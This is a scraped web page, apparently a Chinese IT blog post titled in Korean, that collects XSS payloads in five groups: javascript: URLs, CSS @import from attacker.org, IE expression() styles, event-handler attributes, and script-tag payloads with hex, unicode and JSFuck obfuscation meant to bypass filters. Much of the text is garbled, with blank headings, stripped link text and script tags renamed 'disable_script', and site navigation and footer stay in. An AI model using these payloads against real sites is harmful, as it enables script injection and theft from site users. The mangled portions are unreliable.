XSS payload 대전

수집 한 일부 XSS payload 는 주로 5 가지 유형 으로 나 뉘 어 조회 하기에 편리 하 다.
#   ：Javascript URL
link
link
link
Hello
Hello
link
link
link
link
Hello
link 
Hello
link
link
link
link
Hello
link
link
1
link
link
2
link  
link
link
link
test 
1



#   ：CSS import
<style>@import url("http://attacker.org/malicious.css");</style>
<style>@imp\ort url("http://attacker.org/malicious.css");</style>
<style>@im\port'\ja\vasc\ript:alert("XSS")';</style>
<style>@import'http://jb51.net/xss.css';</style>


#   ：Inline style
<div style="color: expression(alert('XSS'))">
<div style="color:expression\(alert(1))"/> 
<div style="color: '&lt;'; color: expression(alert('XSS'))">
<div style="X:expression(alert(/xss/))">
<div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">
<div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">
<div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">
<style>li {list-style-image: url("javascript:alert('XSS')");}</style><ul><li>XSS
<div style="background-image: url(javascript:alert('XSS'))">
<style>.XSS{background-image:url("javascript:alert('XSS')");}</style>
<div style="z:exp/*anything*/res/*here*/sion(alert(1))">
<div style="xss:expr/*XSS*/ession(alert('XSS'))">

 
<img style="background-image:url(javascript:alert('XSS'))"/> //ie6  
<img style="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29"/> 
<a style="no\xss:noxss(&quot;*//*&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;XSS&quot;))">


#   ：JavaScript   
<div>
<div>
<div onclick="alert('xss')">

 
<img/>
 
 
 
  
 
<a href="#">test</a>
<a href="#">link</a>
<a href="#">link</a>
<a href="#">link</a>
<marquee> test</marquee>
<div style="width:100px;height:100px;overflow:scroll">123456 <br/><br/><br/><br/><br/></div>
<div onmousewheel="alert('a')">123456</div><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>
<div style="background-color:red">123456</div>
<div>123456</div>
<div contenteditable="true" style="background-color:red">asdf</div>
<div contenteditable="true" style="background-color:red">asdf</div>
<marquee onstart="alert('a')">asdf</marquee>
<div style="background-color:red;" onbeforecopy="alert('a')">asdf</div>
<div style="background-color:red;" onbeforecut="alert('a')">asdf</div>
<div style="background-color:red;" contenteditable="true" onbeforeeditfocus="alert('a')">asdf</div>
<div style="background-color:red;" onbeforepaste="alert('a')">asdf</div>
<div style="background-color:red;">asdf</div>
<div style="background-color:red;">asdf</div>
<div contenteditable="true" style="background-color:red;" oncut="alert('a')">asdf</div>
<div style="background-color:red;">asdf</div>
<div style="background-color:red;">asdf</div>
<div style="background-color:red;">asdf</div>
<div contenteditable="true" style="background-color:red;">asdf</div>
<div contenteditable="true" style="background-color:red;">asdf</div>
<div contenteditable="true" style="background-color:red;">asdf</div>
<div contenteditable="true" style="background-color:red;">asdf</div> <div contenteditable="true" style="background-color:green;">asdf</div>
<div contenteditable="true" style="background-color:red;" onlosecapture="alert('b')">asdf</div>
<div contenteditable="true" style="background-color:red;">asdf</div>
<div contenteditable="true" style="background-color:red;" onselectstart="alert('a')">asdf</div>
<div contenteditable="true" style="background-color:red;" onhelp="alert('a')">asdf</div>
<div style="background-color:red;behavior:url('#default#time2')" onend="alert('a')">asdf</div>
<div style="background-color:red;behavior:url('#default#time2')" onbegin="alert('a')">asdf</div>
<div contenteditable="true" style="background-color:red;" onactivate="alert('b')">asdf</div>
<div contenteditable="true" style="background-color:red;filter: Alpha(opacity=100, style=2);" onfilterchange="alert('b')">asdf</div>
<div contenteditable="true" onbeforeactivate="alert('b')">asdf</div>
<div contenteditable="true" onbeforedeactivate="alert('a')">asdf</div>
<div contenteditable="true" ondeactivate="alert('bem')">asdf</div>
<video src="http://www.w3schools.com/html5/movie.ogg" onloadedmetadata="alert(1)"/>
<video src="http://www.w3schools.com/html5/movie.ogg"/>
<audio src="http://www.w3schools.com/html5/movie.ogg">
<audio src="http://www.w3schools.com/html5/movie.ogg"/>
<br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>
<input type="hidden" accesskey="X"/>


#   ：Script   
<disable_script src="http://baidu.com"/>
<disable_script>alert("XSS")</disable_script>
<scr>ipt&gt;alert("XSS")</scr>ipt&gt;
<disable_script>a=/XSS/ alert(a.source)</disable_script>
<disable_script>alert(/1/.source)</disable_script>
<disable_script>alert(1);</disable_script>
<disable_script>prompt(1);</disable_script>
<disable_script>confirm(1);</disable_script>
<disable_script>alert(/88199/)</disable_script>
<disable_script>alert(`a`)</disable_script>
<disable_script>alert('a')</disable_script>
<disable_script>alert(String.fromCharCode(88,83,83))</disable_script>
<disable_script>eval(alert(1))</disable_script>
<disable_script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 50, 51, 41))</disable_script>
<disable_script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</disable_script>
<disable_script>eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</disable_script>
<disable_script>setTimeout('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</disable_script>
<disable_script>setTimeout(alert(1),0)</disable_script>
<disable_script>setTimeout`alert\x28\x27 xss \x27\x29`</disable_script>
<disable_script>setInterval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</disable_script>

<disable_script src="data:text/javascript,alert(1)"/>
<disable_script src="data:text/javascript,alert(1)"/>

<disable_script>\u0061\u006C\u0065\u0072\u0074(123)</disable_script>
<disable_script>\u0061\u006C\u0065\u0072\u0074(1)</disable_script>
<disable_script>\u0061\u006C\u0065\u0072\u0074`a`</disable_script>
<disable_script>window['alert'](0)</disable_script>
<disable_script>parent['alert'](1)</disable_script>
<disable_script>self['alert'](2)</disable_script>
<disable_script>top['alert'](3)</disable_script>
<!--[if]><disable_script>alert(1)</script     -->

<disable_script>alert("xss");;;;;;;;;;;;;;;;;    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</disable_script>
<disable_script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</disable_script>
<disable_script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</disable_script> 
  <p><strong>  </strong></p> 
  <p><strong>           ：Bypass--，          。 </strong></p> 
  <p><a href="https://img.md5.com/image/info8/b98f5c1fc3ae414981dd887bec1311d4.jpg" target="_blank"><img alt="XSS payload   _ 1   " class="check_url_is_full" height="430" src="https://s1.md5.ltd/image/ef36d77cef853de0bff6520976fd1c98.jpg" width="430" style="border:1px solid black;"/></a></p> 
 </audio></div> 
</div>
                            </div>
                        </a></div>
                    </div>
                    <!--PC WAP    -->
                     
                    <disable_script type="text/javascript" src="/views/front/js/chanyan.js"/>
                    <!--    -         -->
                     
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!--    -  1       -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                             
                        </div>
                        <!--    -  2       -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                             
                        </div>
                        <!--    -  3       -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                             
                        </div>
                    </div>
                </div>
            </li></ul></div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">       </h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                                <li><a href="#!/article/52.htm" title="  Servlet    ---GenericServlet HttpServlet" rel="nofollow">  Servlet    ---GenericServlet HttpServlet</a>
                                    <span class="text-muted">   </span>
<a class="tag" taget="_blank" href="#!/search/java/1.htm" rel="nofollow">java</a><a class="tag" taget="_blank" href="#!/search/HttpServlet/1.htm" rel="nofollow">HttpServlet</a><a class="tag" taget="_blank" href="#!/search/%E6%BA%90%E7%90%86/1.htm" rel="nofollow">  </a><a class="tag" taget="_blank" href="#!/search/GenericService/1.htm" rel="nofollow">GenericService</a><a class="tag" taget="_blank" href="#!/search/%E6%BA%90%E7%A0%81/1.htm" rel="nofollow">  </a>
                                </li>
                                <li><a href="#!/article/179.htm" title="MySQL    " rel="nofollow">MySQL    </a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="#!/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm" rel="nofollow">   </a><a class="tag" taget="_blank" href="#!/search/mysql/1.htm" rel="nofollow">mysql</a>
                                </li>
                                <li><a href="#!/article/306.htm" title="ThreadPool    " rel="nofollow">ThreadPool    </a>
                                    <span class="text-muted">dai_lm</span>
<a class="tag" taget="_blank" href="#!/search/java/1.htm" rel="nofollow">java</a><a class="tag" taget="_blank" href="#!/search/ThreadPool/1.htm" rel="nofollow">ThreadPool</a><a class="tag" taget="_blank" href="#!/search/thread/1.htm" rel="nofollow">thread</a><a class="tag" taget="_blank" href="#!/search/timer/1.htm" rel="nofollow">timer</a><a class="tag" taget="_blank" href="#!/search/timertask/1.htm" rel="nofollow">timertask</a>
                                </li>
                                <li><a href="#!/article/433.htm" title="Oracle           " rel="nofollow">Oracle           </a>
                                    <span class="text-muted">   </span>
<a class="tag" taget="_blank" href="#!/search/sql/1.htm" rel="nofollow">sql</a><a class="tag" taget="_blank" href="#!/search/oracle+%E8%BF%9E%E6%8E%A5/1.htm" rel="nofollow">oracle   </a>
                                </li>
                                <li><a href="#!/article/560.htm" title="    " rel="nofollow">    </a>
                                    <span class="text-muted">   33</span>
<a class="tag" taget="_blank" href="#!/search/java/1.htm" rel="nofollow">java</a>
                                </li>
                                <li><a href="#!/article/687.htm" title="android      " rel="nofollow">android      </a>
                                    <span class="text-muted">    _</span>
<a class="tag" taget="_blank" href="#!/search/android/1.htm" rel="nofollow">android</a>
                                </li>
                                <li><a href="#!/article/814.htm" title="hadoop      " rel="nofollow">hadoop      </a>
                                    <span class="text-muted">   </span>
<a class="tag" taget="_blank" href="#!/search/hadoop/1.htm" rel="nofollow">hadoop</a>
                                </li>
                                <li><a href="#!/article/941.htm" title="gdb    " rel="nofollow">gdb    </a>
                                    <span class="text-muted">aigo</span>
<a class="tag" taget="_blank" href="#!/search/gdb/1.htm" rel="nofollow">gdb</a>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>&#13;
    <div class="container">&#13;
        <div class="indexes">&#13;
            <strong>     ：</strong>&#13;
            <a href="#!/tags/A/1.htm" rel="nofollow">A</a><a href="#!/tags/B/1.htm" rel="nofollow">B</a><a href="#!/tags/C/1.htm" rel="nofollow">C</a><a href="#!/tags/D/1.htm" rel="nofollow">D</a><a href="#!/tags/E/1.htm" rel="nofollow">E</a><a href="#!/tags/F/1.htm" rel="nofollow">F</a><a href="#!/tags/G/1.htm" rel="nofollow">G</a><a href="#!/tags/H/1.htm" rel="nofollow">H</a><a href="#!/tags/I/1.htm" rel="nofollow">I</a><a href="#!/tags/J/1.htm" rel="nofollow">J</a><a href="#!/tags/K/1.htm" rel="nofollow">K</a><a href="#!/tags/L/1.htm" rel="nofollow">L</a><a href="#!/tags/M/1.htm" rel="nofollow">M</a><a href="#!/tags/N/1.htm" rel="nofollow">N</a><a href="#!/tags/O/1.htm" rel="nofollow">O</a><a href="#!/tags/P/1.htm" rel="nofollow">P</a><a href="#!/tags/Q/1.htm" rel="nofollow">Q</a><a href="#!/tags/R/1.htm" rel="nofollow">R</a><a href="#!/tags/S/1.htm" rel="nofollow">S</a><a href="#!/tags/T/1.htm" rel="nofollow">T</a><a href="#!/tags/U/1.htm" rel="nofollow">U</a><a href="#!/tags/V/1.htm" rel="nofollow">V</a><a href="#!/tags/W/1.htm" rel="nofollow">W</a><a href="#!/tags/X/1.htm" rel="nofollow">X</a><a href="#!/tags/Y/1.htm" rel="nofollow">Y</a><a href="#!/tags/Z/1.htm" rel="nofollow">Z</a><a href="#!/tags/0/1.htm" rel="nofollow">  </a>&#13;
        </div>&#13;
    </div>&#13;
</div>&#13;
<footer id="footer" class="mb30 mt30">&#13;
    <div class="container">&#13;
        <div class="footBglm">&#13;
            <a href="#!/" rel="nofollow">  </a> -&#13;
            <a href="#!/custom/about.htm" rel="nofollow">    </a> -&#13;
            <a href="#!/search/Java/1.htm" rel="nofollow">    </a> -&#13;
            <a href="#!/sitemap.xml" rel="nofollow">Sitemap</a> -&#13;
            <a href="#!/custom/delete.htm" rel="nofollow">    </a>&#13;
        </div>&#13;
        <div class="copyright">     IT    CopyRight © 2000-2050 IT    IT610.com , All Rights Reserved.&#13;
            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank"> ICP 09083238 </a><br/>&#13;
        </div>&#13;
    </div>&#13;
</footer>&#13;
<!--      -->&#13;
<disable_script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"/>&#13;
<disable_script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"/>&#13;
<disable_script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"/>&#13;
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>&#13;
<disable_script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"/>&#13;
&#13;
&#13;
&#13;
&#13;
&#13;


</div></div></div>
XSS payload 대전

좋은 웹페이지 즐겨찾기
